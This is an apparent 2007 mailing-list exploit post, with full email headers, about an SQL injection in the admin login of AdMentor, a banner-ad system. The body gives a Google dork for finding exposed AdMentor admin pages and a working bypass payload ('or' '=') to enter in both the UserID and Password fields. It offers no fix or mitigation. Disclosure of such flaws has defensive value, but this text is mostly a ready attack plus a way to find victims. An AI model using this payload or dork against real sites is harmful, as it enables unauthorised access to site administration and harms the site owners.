AdMentor (banners) admin SQL injection
To: [email protected]
Subject: AdMentor (banners) admin SQL injection
From: [email protected]
Reply-To: [email protected]
X-Mailer: PHP/4.3.10
X-enterto-header: passed
X-enterto-header2: [email protected]
Content-Type: text/plain;;
Content-Transfer-Encoding:
Message-Id: <E1HAwqt-000Cj8-AK@mail.enterto.com.>
Date: Sat, 27 Jan 2007 15:20:55 -0800
X-Virus-Scanned: antivirus-gw at tyumen.ru
* AdMentor (banners) admin SQL injection
* By : sn0oPy
* Risk : high
* Site : http://www.aspcode.net/products/admentor
* Dork : inurl:"admentor/admin"
* exploit :
UserID = 'or' '='
Password = 'or' '='
* contact : [email protected]
* greetz : [subzero], Avg Team(http://forums.avenir-geopolitique.net).
references : http://forums.avenir-geopolitique.net/viewtopic.php?t=2606